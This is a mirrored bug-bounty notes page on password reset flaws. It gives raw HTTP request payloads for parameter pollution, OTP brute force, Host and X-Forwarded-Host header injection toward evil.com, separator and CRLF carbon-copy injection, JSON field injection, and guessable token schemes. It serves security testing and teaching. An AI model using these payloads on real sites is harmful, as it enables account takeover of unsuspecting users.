Projects STRLCPY AllAboutBugBounty Files
🤬
a2c07348
ROOT /
Misc /
Password Reset Flaws.md
95 lines | ISO-8859-1 | 1 KB

Password Reset Flaws

Introduction

Common security flaws in password reset functionality

How to exploit

  1. Parameter pollution in reset password
POST /reset
[...]
[email protected]&[email protected]
  1. Bruteforce the OTP code
POST /reset
[...]
[email protected]&code=$123456$
  1. Host header Injection
POST /reset
Host: evil.com
[...]
[email protected]
POST /reset
Host: target.com
X-Forwarded-Host: evil.com
[...]
[email protected]

And the victim will receive the reset link with evil.com

  1. Using separator in value of the parameter
POST /reset
[...]
[email protected],[email protected]
POST /reset
[...]
[email protected]%[email protected]
POST /reset
[...]
[email protected]|[email protected]
POST /reset
[...]
[email protected]%[email protected]
  1. No domain in value of the paramter
POST /reset
[...]
email=victim
  1. No TLD in value of the parameter
POST /reset
[...]
email=victim@mail
  1. Using carbon copy
POST /reset
[...]
[email protected]%0a%0dcc:[email protected]
  1. If there is JSON data in body requests, add comma
POST /newaccount
[...]
{"email":"[email protected]","[email protected]","token":"xxxxxxxxxx"}
  1. Find out how the tokens generate
  • Generated based on TimeStamp
  • Generated based on the ID of the user
  • Generated based on the email of the user
  • Generated based on the name of the user

References

Please wait...
Page is in error, reload to recover